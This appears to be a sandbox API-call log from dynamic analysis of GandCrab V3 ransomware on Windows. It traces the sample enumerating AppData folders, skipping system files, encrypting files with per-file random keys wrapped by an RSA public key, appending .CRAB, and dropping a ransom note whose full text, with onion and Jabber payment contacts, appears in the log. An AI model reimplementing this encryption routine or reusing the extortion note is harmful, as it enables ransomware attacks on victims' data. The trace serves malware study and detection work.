	[0119.365] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0119.365] CloseHandle (hObject=0x3f0) returned 1
	[0119.366] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned 55
	[0119.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*"
	[0119.366] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xded8e8
	[0119.366] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.366] FindNextFileW (in: hFindFile=0xded8e8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.367] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.367] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.367] FindNextFileW (in: hFindFile=0xded8e8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.367] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.367] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt"
	[0119.367] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.367] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt") returned 71
	[0119.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt") returned 71
	[0119.367] lstrlenW (lpString=".txt") returned 4
	[0119.367] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.367] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.368] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt") returned 71
	[0119.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CRAB-DECRYPT.txt") returned 71
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.368] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.368] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.368] FindNextFileW (in: hFindFile=0xded8e8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.368] lstrcmpW (lpString1="CUSTOM.DIC", lpString2=".") returned 1
	[0119.368] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="..") returned 1
	[0119.369] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC"
	[0119.369] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.369] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65
	[0119.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65
	[0119.369] lstrlenW (lpString=".DIC") returned 4
	[0119.369] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.369] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".DIC ") returned 5
	[0119.369] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65
	[0119.370] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="desktop.ini") returned -1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="autorun.inf") returned 1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="ntuser.dat") returned -1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="iconcache.db") returned -1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="bootsect.bak") returned 1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="boot.ini") returned 1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="ntuser.dat.log") returned -1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="thumbs.db") returned -1
	[0119.370] lstrcmpiW (lpString1="CUSTOM.DIC", lpString2="CRAB-DECRYPT.txt") returned 1
	[0119.370] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.370] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB") returned 70
	[0119.370] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\custom.dic")) returned 0x20
	[0119.371] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC", dwFileAttributes=0x20) returned 1
	[0119.371] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\custom.dic.crab")) returned 1
	[0119.372] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.372] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB"
	[0119.372] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB.CRAB"
	[0119.372] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e5a0) returned 1
	[0119.373] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.374] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.374] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0119.374] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0119.374] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.374] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0119.374] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.375] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.375] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.375] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0119.375] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.375] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.375] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.376] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.376] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ec00) returned 1
	[0119.376] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded4e8) returned 1
	[0119.377] CryptGetKeyParam (in: hKey=0xded4e8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.377] CryptEncrypt (in: hKey=0xded4e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0119.377] GetLastError () returned 0x0
	[0119.377] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0119.377] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0119.377] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded2a8) returned 1
	[0119.378] CryptGetKeyParam (in: hKey=0xded2a8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.378] CryptEncrypt (in: hKey=0xded2a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0119.379] GetLastError () returned 0x0
	[0119.379] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.379] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\custom.dic.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0119.379] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.386] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.386] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x1e, lpOverlapped=0x0) returned 1
	[0119.407] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0119.407] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0119.408] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.408] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffffe2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.408] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x20, lpOverlapped=0x0) returned 1
	[0119.408] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.409] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.414] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.414] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.414] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0119.414] CloseHandle (hObject=0x3f4) returned 1
	[0119.415] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.415] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.416] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.416] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.416] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.417] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.417] FindNextFileW (in: hFindFile=0xded8e8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0119.417] FindClose (in: hFindFile=0xded8e8 | out: hFindFile=0xded8e8) returned 1
	[0119.417] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.417] lstrcmpW (lpString1="Vault", lpString2=".") returned 1
	[0119.417] lstrcmpW (lpString1="Vault", lpString2="..") returned 1
	[0119.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault"
	[0119.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\"
	[0119.417] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.418] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.418] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.418] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.418] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.418] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.418] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.419] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\CRAB-DECRYPT.txt") returned 71
	[0119.419] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\vault\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0119.420] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.420] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0119.421] CloseHandle (hObject=0x3f0) returned 1
	[0119.421] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.421] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned 54
	[0119.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*"
	[0119.421] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xded3a8
	[0119.422] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.422] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.422] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.422] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.422] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.422] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.422] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt"
	[0119.422] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.422] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt") returned 70
	[0119.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt") returned 70
	[0119.423] lstrlenW (lpString=".txt") returned 4
	[0119.423] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.423] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.423] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt") returned 70
	[0119.423] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\CRAB-DECRYPT.txt") returned 70
	[0119.423] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.423] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.423] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.423] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.424] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.424] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.424] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.424] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.424] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.424] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.424] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0119.424] FindClose (in: hFindFile=0xded3a8 | out: hFindFile=0xded3a8) returned 1
	[0119.424] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.424] lstrcmpW (lpString1="Windows", lpString2=".") returned 1
	[0119.424] lstrcmpW (lpString1="Windows", lpString2="..") returned 1
	[0119.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows"
	[0119.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\"
	[0119.424] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.425] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.425] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.425] lstrcmpW (lpString1="Word", lpString2=".") returned 1
	[0119.425] lstrcmpW (lpString1="Word", lpString2="..") returned 1
